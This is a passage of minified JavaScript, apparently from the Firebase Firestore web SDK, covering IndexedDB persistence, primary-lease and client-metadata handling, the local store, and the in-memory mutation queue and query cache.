t(e,n,r,i,o,s)).start()];case 1:return u.sent(),[2,a]}})})},t.prototype.start=function(){var t=this;return Zn(!this.started,"IndexedDbPersistence double-started!"),Zn(null!==this.window,"Expected 'window' to be defined"),ls.openOrCreate(this.dbName,Is,new Cs(this.serializer)).then(function(e){t.simpleDb=e}).then(function(){return t.startRemoteDocumentCache()}).then(function(){return t.attachVisibilityHandler(),t.attachWindowUnloadHook(),t.updateClientMetadataAndTryBecomePrimary().then(function(){return t.scheduleClientMetadataAndPrimaryLeaseRefreshes()})}).then(function(){return t.simpleDb.runTransaction("readonly",[qs.store],function(e){return ea(e).next(function(e){var n=t.multiClientParams?t.multiClientParams.sequenceNumberSyncer:void 0;t.listenSequence=new zo(e,n)})})}).then(function(){t._started=!0}).catch(function(e){return t.simpleDb&&t.simpleDb.close(),Promise.reject(e)})},t.prototype.startRemoteDocumentCache=function(){var t=this;return this.simpleDb.runTransaction("readonly",Us,function(e){return t.remoteDocumentCache.start(e)})},t.prototype.setPrimaryStateListener=function(t){var e=this;return this.primaryStateListener=function(n){return u(e,void 0,void 0,function(){return c(this,function(e){return this.started?[2,t(n)]:[2]})})},t(this.isPrimary)},t.prototype.setNetworkEnabled=function(t){var e=this;this.networkEnabled!==t&&(this.networkEnabled=t,this.queue.enqueueAndForget(function(){return u(e,void 0,void 0,function(){return c(this,function(t){switch(t.label){case 0:return this.started?[4,this.updateClientMetadataAndTryBecomePrimary()]:[3,2];case 1:t.sent(),t.label=2;case 2:return[2]}})})}))},t.prototype.updateClientMetadataAndTryBecomePrimary=function(){var t=this;return this.simpleDb.runTransaction("readwrite",Us,function(e){return ma(e).put(new Bs(t.clientId,Date.now(),t.networkEnabled,t.inForeground,t.remoteDocumentCache.lastProcessedDocumentChangeId)).next(function(){if(t.isPrimary)return t.verifyPrimaryLease(e).next(function(e){e||(t.isPrimary=!1,t.queue.enqueueAndForget(function(){return t.primaryStateListener(!1)}))})}).next(function(){return t.canActAsPrimary(e)}).next(function(n){var r=t.isPrimary;return t.isPrimary=n,r!==t.isPrimary&&t.queue.enqueueAndForget(function(){return t.primaryStateListener(t.isPrimary)}),r&&!t.isPrimary?t.releasePrimaryLeaseIfHeld(e):t.isPrimary?t.acquireOrExtendPrimaryLease(e):void 0})})},t.prototype.verifyPrimaryLease=function(t){var e=this;return pa(t).get(Ns.key).next(function(t){return us.resolve(e.isLocalClient(t))})},t.prototype.removeClientMetadata=function(t){return ma(t).delete(this.clientId)},t.prototype.maybeGarbageCollectMultiClientState=function(){return u(this,void 0,void 0,function(){var e,n,r=this;return c(this,function(i){switch(i.label){case 0:return!this.isPrimary||this.isWithinAge(this.lastGarbageCollectionTime,18e5)?[3,2]:(this.lastGarbageCollectionTime=Date.now(),n=[],[4,this.runTransaction("maybeGarbageCollectMultiClientState","readwrite-primary",function(i){var o=t.getStore(i,Bs.store);return o.loadAll().next(function(t){e=r.filterActiveClients(t,18e5),n=t.filter(function(t){return-1===e.indexOf(t)})}).next(function(){return us.forEach(n,function(t){return o.delete(t.clientId)})}).next(function(){if((e=e.filter(function(t){return t.clientId!==r.clientId})).length>0){var t=e.map(function(t){return t.lastProcessedDocumentChangeId||0}),n=Math.min.apply(Math,t);return r.remoteDocumentCache.removeDocumentChangesThroughChangeId(i,n)}})})]);case 1:i.sent(),n.forEach(function(t){r.window.localStorage.removeItem(r.zombiedClientLocalStorageKey(t.clientId))}),i.label=2;case 2:return[2]}})})},t.prototype.scheduleClientMetadataAndPrimaryLeaseRefreshes=function(){var t=this;this.clientMetadataRefresher=this.queue.enqueueAfterDelay(Go.ClientMetadataRefresh,4e3,function(){return t.updateClientMetadataAndTryBecomePrimary().then(function(){return t.maybeGarbageCollectMultiClientState()}).then(function(){return t.scheduleClientMetadataAndPrimaryLeaseRefreshes()})})},t.prototype.isLocalClient=function(t){return!!t&&t.ownerId===this.clientId},t.prototype.canActAsPrimary=function(t){var e=this;return pa(t).get(Ns.key).next(function(n){if(null!==n&&e.isWithinAge(n.leaseTimestampMs,5e3)&&!e.isClientZombied(n.ownerId)){if(e.isLocalClient(n)&&e.networkEnabled)return!0;if(!e.isLocalClient(n)){if(!n.allowTabSynchronization)throw new rr(nr.FAILED_PRECONDITION,ca);return!1}}return!(!e.networkEnabled||!e.inForeground)||ma(t).loadAll().next(function(t){return void 0===e.filterActiveClients(t,5e3).find(function(t){if(e.clientId!==t.clientId){var n=!e.networkEnabled&&t.networkEnabled,r=!e.inForeground&&t.inForeground,i=e.networkEnabled===t.networkEnabled;if(n||r&&i)return!0}return!1})})}).next(function(t){return e.isPrimary!==t&&Xn(aa,"Client "+(t?"is":"is not")+" eligible for a primary lease."),t})},t.prototype.shutdown=function(t){return u(this,void 0,void 0,function(){var e=this;return c(this,function(n){switch(n.label){case 0:return this._started=!1,this.markClientZombied(),this.clientMetadataRefresher&&this.clientMetadataRefresher.cancel(),this.detachVisibilityHandler(),this.detachWindowUnloadHook(),[4,this.simpleDb.runTransaction("readwrite",[Ns.store,Bs.store],function(t){return e.releasePrimaryLeaseIfHeld(t).next(function(){return e.removeClientMetadata(t)})})];case 1:return n.sent(),this.simpleDb.close(),this.removeClientZombiedEntry(),t?[4,ls.delete(this.dbName)]:[3,3];case 2:n.sent(),n.label=3;case 3:return[2]}})})},t.prototype.filterActiveClients=function(t,e){var n=this;return t.filter(function(t){return n.isWithinAge(t.updateTimeMs,e)&&!n.isClientZombied(t.clientId)})},t.prototype.getActiveClients=function(){var t=this;return this.simpleDb.runTransaction("readonly",[Bs.store],function(e){return ma(e).loadAll().next(function(e){return t.filterActiveClients(e,18e5).map(function(t){return t.clientId})})})},Object.defineProperty(t.prototype,"started",{get:function(){return this._started},enumerable:!0,configurable:!0}),t.prototype.getMutationQueue=function(t){return Zn(this.started,"Cannot initialize MutationQueue before persistence is started."),Qs.forUser(t,this.serializer,this.referenceDelegate)},t.prototype.getQueryCache=function(){return Zn(this.started,"Cannot initialize QueryCache before persistence is started."),this.queryCache},t.prototype.getRemoteDocumentCache=function(){return Zn(this.started,"Cannot initialize RemoteDocumentCache before persistence is started."),this.remoteDocumentCache},t.prototype.runTransaction=function(t,e,n){var r=this;return Xn(aa,"Starting transaction:",t),this.simpleDb.runTransaction("readonly"===e?"readonly":"readwrite",Us,function(i){return"readwrite-primary"===e?r.verifyPrimaryLease(i).next(function(e){if(!e)throw Yn("Failed to obtain primary lease for action '"+t+"'."),r.isPrimary=!1,r.queue.enqueueAndForget(function(){return r.primaryStateListener(!1)}),new rr(nr.FAILED_PRECONDITION,ua);return n(new la(i,r.listenSequence.next()))}).next(function(t){return r.acquireOrExtendPrimaryLease(i).next(function(){return t})}):r.verifyAllowTabSynchronization(i).next(function(){return n(new la(i,r.listenSequence.next()))})})},t.prototype.verifyAllowTabSynchronization=function(t){var e=this;return pa(t).get(Ns.key).next(function(t){if(null!==t&&e.isWithinAge(t.leaseTimestampMs,5e3)&&!e.isClientZombied(t.ownerId)&&!e.isLocalClient(t)&&!t.allowTabSynchronization)throw new rr(nr.FAILED_PRECONDITION,ca)})},t.prototype.acquireOrExtendPrimaryLease=function(t){var e=new Ns(this.clientId,this.allowTabSynchronization,Date.now());return pa(t).put(Ns.key,e)},t.isAvailable=function(){return ls.isAvailable()},t.buildStoragePrefix=function(t){var e=t.databaseId.projectId;return t.databaseId.isDefaultDatabase||(e+="."+t.databaseId.database),"firestore/"+t.persistenceKey+"/"+e+"/"},t.prototype.releasePrimaryLeaseIfHeld=function(t){var e=this,n=pa(t);return n.get(Ns.key).next(function(t){return e.isLocalClient(t)?(Xn(aa,"Releasing primary lease."),n.delete(Ns.key)):us.resolve()})},t.prototype.isWithinAge=function(t,e){var n=Date.now();return!(t<n-e)&&(!(t>n)||(Yn("Detected an update time that is in the future: "+t+" > "+n),!1))},t.prototype.attachVisibilityHandler=function(){var t=this;null!==this.document&&"function"==typeof this.document.addEventListener&&(this.documentVisibilityHandler=function(){t.queue.enqueueAndForget(function(){return t.inForeground="visible"===t.document.visibilityState,t.updateClientMetadataAndTryBecomePrimary()})},this.document.addEventListener("visibilitychange",this.documentVisibilityHandler),this.inForeground="visible"===this.document.visibilityState)},t.prototype.detachVisibilityHandler=function(){this.documentVisibilityHandler&&(Zn(null!==this.document&&"function"==typeof this.document.addEventListener,"Expected 'document.addEventListener' to be a function"),this.document.removeEventListener("visibilitychange",this.documentVisibilityHandler),this.documentVisibilityHandler=null)},t.prototype.attachWindowUnloadHook=function(){var t=this;"function"==typeof this.window.addEventListener&&(this.windowUnloadHandler=function(){t.markClientZombied(),t.queue.enqueueAndForget(function(){return t.shutdown()})},this.window.addEventListener("unload",this.windowUnloadHandler))},t.prototype.detachWindowUnloadHook=function(){this.windowUnloadHandler&&(Zn("function"==typeof this.window.removeEventListener,"Expected 'window.removeEventListener' to be a function"),this.window.removeEventListener("unload",this.windowUnloadHandler),this.windowUnloadHandler=null)},t.prototype.isClientZombied=function(t){try{var e=null!==this.webStorage.getItem(this.zombiedClientLocalStorageKey(t));return Xn(aa,"Client '"+t+"' "+(e?"is":"is not")+" zombied in LocalStorage"),e}catch(t){return Yn(aa,"Failed to get zombied client id.",t),!1}},t.prototype.markClientZombied=function(){try{this.webStorage.setItem(this.zombiedClientLocalStorageKey(this.clientId),String(Date.now()))}catch(t){Yn("Failed to set zombie client id.",t)}},t.prototype.removeClientZombiedEntry=function(){try{this.webStorage.removeItem(this.zombiedClientLocalStorageKey(this.clientId))}catch(t){}},t.prototype.zombiedClientLocalStorageKey=function(t){return"firestore_zombie_"+this.persistenceKey+"_"+t},t.MAIN_DATABASE="main",t}();function da(t){return t.code===nr.FAILED_PRECONDITION&&t.message===ua}function pa(t){return t.store(Ns.store)}function ma(t){return t.store(Bs.store)}var ya=function(){function t(t){this.db=t,this.garbageCollector=new sa(this)}return t.prototype.getTargetCount=function(t){return this.db.getQueryCache().getQueryCount(t)},t.prototype.forEachTarget=function(t,e){return this.db.getQueryCache().forEachTarget(t,e)},t.prototype.forEachOrphanedDocumentSequenceNumber=function(t,e){return this.forEachOrphanedDocument(t,function(t,n){return e(n)})},t.prototype.setInMemoryPins=function(t){this.inMemoryPins=t},t.prototype.addReference=function(t,e){return ga(t,e)},t.prototype.removeReference=function(t,e){return ga(t,e)},t.prototype.removeTargets=function(t,e,n){return this.db.getQueryCache().removeTargets(t,e,n)},t.prototype.removeMutationReference=function(t,e){return ga(t,e)},t.prototype.isPinned=function(t,e){return this.inMemoryPins.containsKey(e)?us.resolve(!0):function(t,e){var n=!1;return Hs(t).iterateSerial(function(r){return Ks(t,r,e).next(function(t){return t&&(n=!0),us.resolve(!t)})}).next(function(){return n})}(t,e)},t.prototype.removeOrphanedDocuments=function(t,e){var n=this,r=0,i=0,o=[];return this.forEachOrphanedDocument(t,function(s,a){if(a<=e){var u=n.isPinned(t,s).next(function(e){if(!e)return r++,n.removeOrphanedDocument(t,s).next(function(t){i+=t})});o.push(u)}}).next(function(){return us.waitFor(o)}).next(function(){return n.db.getRemoteDocumentCache().updateSize(t,-i)}).next(function(){return r})},t.prototype.removeOrphanedDocument=function(t,e){var n,r=0,i=this.db.getRemoteDocumentCache();return us.waitFor([na(t).delete((n=e,[0,es(n.path)])),i.removeEntry(t,e).next(function(t){r+=t})]).next(function(){return r})},t.prototype.removeTarget=function(t,e){var n=e.copy({sequenceNumber:t.currentSequenceNumber});return this.db.getQueryCache().updateQueryData(t,n)},t.prototype.updateLimboDocument=function(t,e){return ga(t,e)},t.prototype.forEachOrphanedDocument=function(t,e){var n,r=na(t),i=zo.INVALID;return r.iterate({index:xs.documentTargetsIndex},function(t,r){var o=t[0],s=(t[1],r.path),a=r.sequenceNumber;0===o?(i!==zo.INVALID&&e(new jr(is(n)),i),i=a,n=s):i=zo.INVALID}).next(function(){i!==zo.INVALID&&e(new jr(is(n)),i)})},t}();function ga(t,e){return na(t).put(function(t,e){return new xs(0,es(t.path),e)}(e,t.currentSequenceNumber))}var va=function(){function t(t,e){this.remoteDocumentCache=t,this.mutationQueue=e}return t.prototype.getDocument=function(t,e){var n=this;return this.mutationQueue.getAllMutationBatchesAffectingDocumentKey(t,e).next(function(r){return n.getDocumentInternal(t,e,r)})},t.prototype.getDocumentInternal=function(t,e,n){return this.remoteDocumentCache.getEntry(t,e).next(function(t){for(var r=0,i=n;r<i.length;r++){t=i[r].applyToLocalView(e,t)}return t})},t.prototype.getDocuments=function(t,e){var n=this;return this.mutationQueue.getAllMutationBatchesAffectingDocumentKeys(t,e).next(function(r){var i=[],o=no();return e.forEach(function(e){i.push(n.getDocumentInternal(t,e,r).next(function(t){t||(t=new Hr(e,_i.forDeletedDoc())),o=o.insert(e,t)}))}),us.waitFor(i).next(function(){return o})})},t.prototype.getDocumentsMatchingQuery=function(t,e){return jr.isDocumentKey(e.path)?this.getDocumentsMatchingDocumentQuery(t,e.path):this.getDocumentsMatchingCollectionQuery(t,e)},t.prototype.getDocumentsMatchingDocumentQuery=function(t,e){return this.getDocument(t,new jr(e)).next(function(t){var e=io();return t instanceof zr&&(e=e.insert(t.key,t)),e})},t.prototype.getDocumentsMatchingCollectionQuery=function(t,e){var n,r=this;return this.remoteDocumentCache.getDocumentsMatchingQuery(t,e).next(function(i){return n=i,r.mutationQueue.getAllMutationBatchesAffectingQuery(t,e)}).next(function(t){for(var r=0,i=t;r<i.length;r++)for(var o=i[r],s=0,a=o.mutations;s<a.length;s++){var u=a[s],c=u.key;if(e.path.isImmediateParentOf(c.path)){var h=n.get(c),l=u.applyToLocalView(h,h,o.localWriteTime);n=l instanceof zr?n.insert(c,l):n.remove(c)}}}).next(function(){return n.forEach(function(t,r){e.matches(r)||(n=n.remove(t))}),n})},t}(),ba=function(){function t(){this.refsByKey=new to(wa.compareByKey),this.refsByTarget=new to(wa.compareByTargetId)}return t.prototype.isEmpty=function(){return this.refsByKey.isEmpty()},t.prototype.addReference=function(t,e){var n=new wa(t,e);this.refsByKey=this.refsByKey.add(n),this.refsByTarget=this.refsByTarget.add(n)},t.prototype.addReferences=function(t,e){var n=this;t.forEach(function(t){return n.addReference(t,e)})},t.prototype.removeReference=function(t,e){this.removeRef(new wa(t,e))},t.prototype.removeReferences=function(t,e){var n=this;t.forEach(function(t){return n.removeReference(t,e)})},t.prototype.removeReferencesForId=function(t){var e=this,n=jr.EMPTY,r=new wa(n,t),i=new wa(n,t+1),o=[];return this.refsByTarget.forEachInRange([r,i],function(t){e.removeRef(t),o.push(t.key)}),o},t.prototype.removeAllReferences=function(){var t=this;this.refsByKey.forEach(function(e){return t.removeRef(e)})},t.prototype.removeRef=function(t){this.refsByKey=this.refsByKey.delete(t),this.refsByTarget=this.refsByTarget.delete(t)},t.prototype.referencesForId=function(t){var e=jr.EMPTY,n=new wa(e,t),r=new wa(e,t+1),i=uo();return this.refsByTarget.forEachInRange([n,r],function(t){i=i.add(t.key)}),i},t.prototype.containsKey=function(t){var e=new wa(t,0),n=this.refsByKey.firstAfterOrEqual(e);return null!==n&&t.isEqual(n.key)},t}(),wa=function(){function t(t,e){this.key=t,this.targetOrBatchId=e}return t.compareByKey=function(t,e){return jr.comparator(t.key,e.key)||Ar(t.targetOrBatchId,e.targetOrBatchId)},t.compareByTargetId=function(t,e){return Ar(t.targetOrBatchId,e.targetOrBatchId)||jr.comparator(t.key,e.key)},t}(),Ta=function(){function t(t,e){this.persistence=t,this.localViewReferences=new ba,this.queryDataByTarget={},Zn(t.started,"LocalStore was passed an unstarted persistence implementation"),this.persistence.referenceDelegate.setInMemoryPins(this.localViewReferences),this.mutationQueue=t.getMutationQueue(e),this.remoteDocuments=t.getRemoteDocumentCache(),this.queryCache=t.getQueryCache(),this.localDocuments=new va(this.remoteDocuments,this.mutationQueue)}return t.prototype.handleUserChange=function(t){var e=this;return this.persistence.runTransaction("Handle user change","readonly",function(n){var r;return e.mutationQueue.getAllMutationBatches(n).next(function(i){return r=i,e.mutationQueue=e.persistence.getMutationQueue(t),e.localDocuments=new va(e.remoteDocuments,e.mutationQueue),e.mutationQueue.getAllMutationBatches(n)}).next(function(t){for(var i=[],o=[],s=uo(),a=0,u=r;a<u.length;a++){var c=u[a];i.push(c.batchId);for(var h=0,l=c.mutations;h<l.length;h++){var f=l[h];s=s.add(f.key)}}for(var d=0,p=t;d<p.length;d++){c=p[d];o.push(c.batchId);for(var m=0,y=c.mutations;m<y.length;m++){f=y[m];s=s.add(f.key)}}return e.localDocuments.getDocuments(n,s).next(function(t){return{affectedDocuments:t,removedBatchIds:i,addedBatchIds:o}})})})},t.prototype.localWrite=function(t){var e=this;return this.persistence.runTransaction("Locally write mutations","readwrite",function(n){var r,i=qr.now();return e.mutationQueue.addMutationBatch(n,i,t).next(function(t){var i=(r=t).keys();return e.localDocuments.getDocuments(n,i)}).next(function(t){return{batchId:r.batchId,changes:t}})})},t.prototype.lookupMutationDocuments=function(t){var e=this;return this.persistence.runTransaction("Lookup mutation documents","readonly",function(n){return e.mutationQueue.lookupMutationKeys(n,t).next(function(t){return t?e.localDocuments.getDocuments(n,t):us.resolve(null)})})},t.prototype.acknowledgeBatch=function(t){var e=this;return this.persistence.runTransaction("Acknowledge batch","readwrite-primary",function(n){var r=t.batch.keys(),i=e.remoteDocuments.newChangeBuffer();return e.mutationQueue.acknowledgeBatch(n,t.batch,t.streamToken).next(function(){return e.applyWriteToRemoteDocuments(n,t,i)}).next(function(){return i.apply(n)}).next(function(){return e.mutationQueue.performConsistencyCheck(n)}).next(function(){return e.localDocuments.getDocuments(n,r)})})},t.prototype.rejectBatch=function(t){var e=this;return this.persistence.runTransaction("Reject batch","readwrite-primary",function(n){var r;return e.mutationQueue.lookupMutationBatch(n,t).next(function(t){return Zn(null!==t,"Attempt to reject nonexistent batch!"),r=t.keys(),e.mutationQueue.removeMutationBatch(n,t)}).next(function(){return e.mutationQueue.performConsistencyCheck(n)}).next(function(){return e.localDocuments.getDocuments(n,r)})})},t.prototype.getLastStreamToken=function(){var t=this;return this.persistence.runTransaction("Get last stream token","readonly",function(e){return t.mutationQueue.getLastStreamToken(e)})},t.prototype.setLastStreamToken=function(t){var e=this;return this.persistence.runTransaction("Set last stream token","readwrite-primary",function(n){return e.mutationQueue.setLastStreamToken(n,t)})},t.prototype.getLastRemoteSnapshotVersion=function(){var t=this;return this.persistence.runTransaction("Get last remote snapshot version","readonly",function(e){return t.queryCache.getLastRemoteSnapshotVersion(e)})},t.prototype.applyRemoteEvent=function(e){var n=this,r=this.remoteDocuments.newChangeBuffer();return this.persistence.runTransaction("Apply remote event","readwrite-primary",function(i){var o=[],s=uo();ar(e.targetChanges,function(r,a){var u=n.queryDataByTarget[r];if(u){a.addedDocuments.forEach(function(t){s=s.add(t)}),a.modifiedDocuments.forEach(function(t){s=s.add(t)}),o.push(n.queryCache.removeMatchingKeys(i,a.removedDocuments,r).next(function(){return n.queryCache.addMatchingKeys(i,a.addedDocuments,r)}));var c=a.resumeToken;if(c.length>0){var h=u;u=u.copy({resumeToken:c,snapshotVersion:e.snapshotVersion}),n.queryDataByTarget[r]=u,t.shouldPersistQueryData(h,u,a)&&o.push(n.queryCache.updateQueryData(i,u))}}});var a=uo();e.documentUpdates.forEach(function(t,u){a=a.add(t),o.push(r.getEntry(i,t).next(function(e){null==e||u.version.isEqual(_i.MIN)||s.has(u.key)&&!e.hasPendingWrites||u.version.compareTo(e.version)>=0?r.addEntry(u):Xn("LocalStore","Ignoring outdated watch update for ",t,". Current version:",e.version," Watch version:",u.version)})),e.resolvedLimboDocuments.has(t)&&o.push(n.persistence.referenceDelegate.updateLimboDocument(i,t))});var u=e.snapshotVersion;if(!u.isEqual(_i.MIN)){var c=n.queryCache.getLastRemoteSnapshotVersion(i).next(function(t){return Zn(u.compareTo(t)>=0,"Watch stream reverted to previous snapshot?? "+u+" < "+t),n.queryCache.setTargetsMetadata(i,i.currentSequenceNumber,u)});o.push(c)}return us.waitFor(o).next(function(){return r.apply(i)}).next(function(){return n.localDocuments.getDocuments(i,a)})})},t.shouldPersistQueryData=function(t,e,n){return 0!==e.resumeToken.length&&(0===t.resumeToken.length||(e.snapshotVersion.toMicroseconds()-t.snapshotVersion.toMicroseconds()>=this.RESUME_TOKEN_MAX_AGE_MICROS||n.addedDocuments.size+n.modifiedDocuments.size+n.removedDocuments.size>0))},t.prototype.notifyLocalViewChanges=function(t){var e=this;return this.persistence.runTransaction("notifyLocalViewChanges","readwrite",function(n){return us.forEach(t,function(t){return e.localViewReferences.addReferences(t.addedKeys,t.targetId),e.localViewReferences.removeReferences(t.removedKeys,t.targetId),us.forEach(t.removedKeys,function(t){return e.persistence.referenceDelegate.removeReference(n,t)})})})},t.prototype.nextMutationBatch=function(t){var e=this;return this.persistence.runTransaction("Get next mutation batch","readonly",function(n){return void 0===t&&(t=os),e.mutationQueue.getNextMutationBatchAfterBatchId(n,t)})},t.prototype.readDocument=function(t){var e=this;return this.persistence.runTransaction("read document","readonly",function(n){return e.localDocuments.getDocument(n,t)})},t.prototype.allocateQuery=function(t){var e=this;return this.persistence.runTransaction("Allocate query","readwrite",function(n){var r;return e.queryCache.getQueryData(n,t).next(function(i){return i?(r=i,us.resolve()):e.queryCache.allocateTargetId(n).next(function(i){return r=new xi(t,i,Si.Listen,n.currentSequenceNumber),e.queryCache.addQueryData(n,r)})}).next(function(){return Zn(!e.queryDataByTarget[r.targetId],"Tried to allocate an already allocated query: "+t),e.queryDataByTarget[r.targetId]=r,r})})},t.prototype.releaseQuery=function(t,e){var n=this,r=e?"readwrite":"readwrite-primary";return this.persistence.runTransaction("Release query",r,function(r){return n.queryCache.getQueryData(r,t).next(function(i){Zn(null!=i,"Tried to release nonexistent query: "+t);var o=i.targetId,s=n.queryDataByTarget[o],a=n.localViewReferences.removeReferencesForId(o);return delete n.queryDataByTarget[o],e?us.resolve():us.forEach(a,function(t){return n.persistence.referenceDelegate.removeReference(r,t)}).next(function(){return n.persistence.referenceDelegate.removeTarget(r,s)})})})},t.prototype.executeQuery=function(t){var e=this;return this.persistence.runTransaction("Execute query","readonly",function(n){return e.localDocuments.getDocumentsMatchingQuery(n,t)})},t.prototype.remoteDocumentKeys=function(t){var e=this;return this.persistence.runTransaction("Remote document keys","readonly",function(n){return e.queryCache.getMatchingKeysForTargetId(n,t)})},t.prototype.getActiveClients=function(){return this.persistence.getActiveClients()},t.prototype.removeCachedMutationBatchMetadata=function(t){this.mutationQueue.removeCachedMutationKeys(t)},t.prototype.setNetworkEnabled=function(t){this.persistence.setNetworkEnabled(t)},t.prototype.applyWriteToRemoteDocuments=function(t,e,n){var r=this,i=e.batch,o=i.keys(),s=us.resolve();return o.forEach(function(r){s=s.next(function(){return n.getEntry(t,r)}).next(function(t){var o=t,s=e.docVersions.get(r);Zn(null!==s,"ackVersions should contain every doc in the write."),(!o||o.version.compareTo(s)<0)&&((o=i.applyToRemoteDocument(r,o,e))?n.addEntry(o):Zn(!t,"Mutation batch "+i+" applied to document "+t+" resulted in null"))})}),s.next(function(){return r.mutationQueue.removeMutationBatch(t,i)})},t.prototype.getQueryForTarget=function(t){var e=this;return this.queryDataByTarget[t]?Promise.resolve(this.queryDataByTarget[t].query):this.persistence.runTransaction("Get query data","readonly",function(n){return e.queryCache.getQueryDataForTarget(n,t).next(function(t){return t?t.query:null})})},t.prototype.getNewDocumentChanges=function(){var t=this;return this.persistence.runTransaction("Get new document changes","readonly",function(e){return t.remoteDocuments.getNewDocumentChanges(e)})},t.RESUME_TOKEN_MAX_AGE_MICROS=3e8,t}(),Sa=function(){function t(t){this.referenceDelegate=t,this.mutationQueue=[],this.nextBatchId=1,this.highestAcknowledgedBatchId=os,this.lastStreamToken=er(),this.batchesByDocumentKey=new to(wa.compareByKey)}return t.prototype.checkEmpty=function(t){return us.resolve(0===this.mutationQueue.length)},t.prototype.acknowledgeBatch=function(t,e,n){var r=e.batchId;Zn(r>this.highestAcknowledgedBatchId,"Mutation batchIDs must be acknowledged in order");var i=this.indexOfExistingBatchId(r,"acknowledged"),o=this.mutationQueue[i];return Zn(r===o.batchId,"Queue ordering failure: expected batch "+r+", got batch "+o.batchId),Zn(!o.isTombstone(),"Can't acknowledge a previously removed batch"),this.highestAcknowledgedBatchId=r,this.lastStreamToken=n,us.resolve()},t.prototype.getLastStreamToken=function(t){return us.resolve(this.lastStreamToken)},t.prototype.setLastStreamToken=function(t,e){return this.lastStreamToken=e,us.resolve()},t.prototype.addMutationBatch=function(t,e,n){Zn(0!==n.length,"Mutation batches should not be empty");var r=this.nextBatchId;(this.nextBatchId++,this.mutationQueue.length>0)&&Zn(this.mutationQueue[this.mutationQueue.length-1].batchId<r,"Mutation batchIDs must be monotonically increasing order");var i=new ss(r,e,n);this.mutationQueue.push(i);for(var o=0,s=n;o<s.length;o++){var a=s[o];this.batchesByDocumentKey=this.batchesByDocumentKey.add(new wa(a.key,r))}return us.resolve(i)},t.prototype.lookupMutationBatch=function(t,e){return us.resolve(this.findMutationBatch(e))},t.prototype.lookupMutationKeys=function(t,e){var n=this.findMutationBatch(e);return Zn(null!=n,"Failed to find local mutation batch."),us.resolve(n.isTombstone()?null:n.keys())},t.prototype.getNextMutationBatchAfterBatchId=function(t,e){for(var n=this.mutationQueue.length,r=Math.max(e,this.highestAcknowledgedBatchId)+1,i=this.indexOfBatchId(r),o=i<0?0:i;o<n;o++){var s=this.mutationQueue[o];if(!s.isTombstone())return us.resolve(s)}return us.resolve(null)},t.prototype.getAllMutationBatches=function(t){return us.resolve(this.getAllLiveMutationBatchesBeforeIndex(this.mutationQueue.length))},t.prototype.getAllMutationBatchesAffectingDocumentKey=function(t,e){var n=this,r=new wa(e,0),i=new wa(e,Number.POSITIVE_INFINITY),o=[];return this.batchesByDocumentKey.forEachInRange([r,i],function(t){Zn(e.isEqual(t.key),"Should only iterate over a single key's batches");var r=n.findMutationBatch(t.targetOrBatchId);Zn(null!==r,"Batches in the index must exist in the main table"),o.push(r)}),us.resolve(o)},t.prototype.getAllMutationBatchesAffectingDocumentKeys=function(t,e){var n=this,r=new to(Ar);return e.forEach(function(t){var e=new wa(t,0),i=new wa(t,Number.POSITIVE_INFINITY);n.batchesByDocumentKey.forEachInRange([e,i],function(e){Zn(t.isEqual(e.key),"For each key, should only iterate over a single key's batches"),r=r.add(e.targetOrBatchId)})}),us.resolve(this.findMutationBatches(r))},t.prototype.getAllMutationBatchesAffectingQuery=function(t,e){var n=e.path,r=n.length+1,i=n;jr.isDocumentKey(i)||(i=i.child(""));var o=new wa(new jr(i),0),s=new to(Ar);return this.batchesByDocumentKey.forEachWhile(function(t){var e=t.key.path;return!!n.isPrefixOf(e)&&(e.length===r&&(s=s.add(t.targetOrBatchId)),!0)},o),us.resolve(this.findMutationBatches(s))},t.prototype.findMutationBatches=function(t){var e=this,n=[];return t.forEach(function(t){var r=e.findMutationBatch(t);null!==r&&n.push(r)}),n},t.prototype.removeMutationBatch=function(t,e){var n=this,r=this.indexOfExistingBatchId(e.batchId,"removed");if(Zn(this.mutationQueue[r].batchId===e.batchId,"Removed batches must exist in the queue"),0===r){for(var i=1;i<this.mutationQueue.length;i++){if(!this.mutationQueue[i].isTombstone())break}this.mutationQueue.splice(0,i)}else this.mutationQueue[r]=this.mutationQueue[r].toTombstone();var o=this.batchesByDocumentKey;return us.forEach(e.mutations,function(r){var i=new wa(r.key,e.batchId);return o=o.delete(i),n.referenceDelegate.removeMutationReference(t,r.key)}).next(function(){n.batchesByDocumentKey=o})},t.prototype.removeCachedMutationKeys=function(t){},t.prototype.containsKey=function(t,e){var n=new wa(e,0),r=this.batchesByDocumentKey.firstAfterOrEqual(n);return us.resolve(e.isEqual(r&&r.key))},t.prototype.performConsistencyCheck=function(t){return 0===this.mutationQueue.length&&Zn(this.batchesByDocumentKey.isEmpty(),"Document leak -- detected dangling mutation references when queue is empty."),us.resolve()},t.prototype.getAllLiveMutationBatchesBeforeIndex=function(t){for(var e=[],n=0;n<t;n++){var r=this.mutationQueue[n];r.isTombstone()||e.push(r)}return e},t.prototype.indexOfExistingBatchId=function(t,e){var n=this.indexOfBatchId(t);return Zn(n>=0&&n<this.mutationQueue.length,"Batches must exist to be "+e),n},t.prototype.indexOfBatchId=function(t){return 0===this.mutationQueue.length?0:t-this.mutationQueue[0].batchId},t.prototype.findMutationBatch=function(t){var e=this.indexOfBatchId(t);if(e<0||e>=this.mutationQueue.length)return null;var n=this.mutationQueue[e];return Zn(n.batchId===t,"If found batch must match"),n.isTombstone()?null:n},t}(),Ea=function(){function t(t){this.persistence=t,this.queries=new cs(function(t){return t.canonicalId()}),this.lastRemoteSnapshotVersion=_i.MIN,this.highestTargetId=0,this.highestSequenceNumber=0,this.references=new ba,this.targetCount=0,this.targetIdGenerator=Js.forQueryCache()}return t.prototype.getTargetCount=function(t){return us.resolve(this.targetCount)},t.prototype.forEachTarget=function(t,e){return this.queries.forEach(function(t,n){return e(n)}),us.resolve()},t.prototype.getLastRemoteSnapshotVersion=function(t){return us.resolve(this.lastRemoteSnapshotVersion)},t.prototype.getHighestSequenceNumber=function(t){return us.resolve(this.highestSequenceNumber)},t.prototype.allocateTargetId=function(t){var e=this.targetIdGenerator.after(this.highestTargetId);return this.highestTargetId=e,us.resolve(e)},t.prototype.setTargetsMetadata=function(t,e,n){return n&&(this.lastRemoteSnapshotVersion=n),e>this.highestSequenceNumber&&(this.highestSequenceNumber=e),us.resolve()},t.prototype.saveQueryData=function(t){this.queries.set(t.query,t);var e=t.targetId;e>this.highestTargetId&&(this.highestTargetId=e),t.sequenceNumber>this.highestSequenceNumber&&(this.highestSequenceNumber=t.sequenceNumber)},t.prototype.addQueryData=function(t,e){return Zn(!this.queries.has(e.query),"Adding a query that already 